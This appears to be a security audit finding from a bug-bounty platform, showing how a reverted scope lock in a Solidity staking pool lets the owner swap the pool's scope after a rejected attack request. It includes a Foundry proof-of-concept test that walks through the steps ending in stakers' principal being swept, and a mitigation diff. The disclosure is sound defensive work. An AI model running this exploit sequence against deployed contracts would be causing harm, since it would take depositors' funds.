FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Reverted scope lock allows scope replacement after a rejected attack request

Author Revealed upon completion

Root + Impact

Description

Pool scope must lock permanently when an interaction first observes a registry state other than NOT_DEPLOYED or NEW_DEPLOYMENT.

During ATTACK_REQUESTED, _observePoolState() sets scopeLocked = true, but does not set either risk-window marker because this state is neither active-risk nor terminal. pokeRiskWindow() then reverts and rolls back the scope lock:

function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
@> _observePoolState();
@> if (riskWindowStart == 0 && riskWindowEnd == 0) {
@> revert RiskWindowNotReached();
@> }
}

The reverted write occurs here:

if (
!scopeLocked
&& state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
) {
@> scopeLocked = true;
emit ScopeLocked(block.timestamp);
}

A rejected BattleChain attack request returns the agreement from ATTACK_REQUESTED to NOT_DEPLOYED. Because the agreement owner is also the pool owner, they can pause the pool, initiate this transition, and replace the scope after rejection while existing stake remains deposited.

setPoolScope() cannot persist the lock either: it calls _observePoolState() and then reverts on scopeLocked, undoing the same write.

Risk

Likelihood

Medium. Exploitation requires a rejected request and no successful withdrawal during ATTACK_REQUESTED. The owner can pause stake() and contributeBonus(), while pokeRiskWindow() still reverts. A staker can preserve the lock only by monitoring the transition and fully withdrawing.

Impact

High. Existing deposits can be reassigned to a different or riskier scope. A later in-scope CORRUPTED resolution can sweep the complete pool balance, including staker principal and bonus.

Proof of Concept

This test proves the rollback, scope replacement, and loss of Alice's principal. Add it to test/unit/ConfidencePool.scope.t.sol:

function test_PokeRollbackAllowsScopeReplacementAndLoss() external {
_seedAgreementScope();
_stake(alice, 100 * ONE);
assertTrue(pool.isAccountInScope(DEFAULT_SCOPE_ACCOUNT));
assertFalse(pool.isAccountInScope(ACCOUNT_X));
pool.pause();
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.ATTACK_REQUESTED
);
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
pool.pokeRiskWindow();
// The post-staging observation failed to persist the lock.
assertFalse(pool.scopeLocked());
// Model rejection: ATTACK_REQUESTED -> NOT_DEPLOYED.
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.NOT_DEPLOYED
);
address[] memory newScope = new address[](1);
newScope[0] = ACCOUNT_X;
pool.setPoolScope(newScope);
assertTrue(pool.isAccountInScope(ACCOUNT_X));
assertEq(pool.eligibleStake(alice), 100 * ONE);
// A later corruption of the replacement scope sweeps Alice's stake.
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.UNDER_ATTACK
);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.CORRUPTED
);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
uint256 recoveryBefore = token.balanceOf(recovery);
pool.claimCorrupted();
assertEq(
token.balanceOf(recovery) - recoveryBefore,
100 * ONE
);
assertEq(token.balanceOf(address(pool)), 0);
}

Run:

forge test \
--match-test test_PokeRollbackAllowsScopeReplacementAndLoss \
-vvv

The critical assertion is assertFalse(pool.scopeLocked()): the pool observed a post-staging state but failed to retain its permanent scope lock.

Recommended Mitigation

Treat a newly persisted scope lock as a successful observation and avoid reverting after setPoolScope() discovers the lock:

function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
+ bool wasLocked = scopeLocked;
_observePoolState();
- if (riskWindowStart == 0 && riskWindowEnd == 0)
+ bool lockedThisCall = !wasLocked && scopeLocked;
+ if (
+ riskWindowStart == 0
+ && riskWindowEnd == 0
+ && !lockedThisCall
+ )
revert RiskWindowNotReached();
}
function setPoolScope(address[] calldata accounts) external onlyOwner {
+ if (scopeLocked) revert ScopePostLockImmutable();
_observePoolState();
- if (scopeLocked) revert ScopePostLockImmutable();
+ if (scopeLocked) return;
_replaceScope(accounts);
}

This preserves the one-way scope commitment without treating ATTACK_REQUESTED as the start of the risk window.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!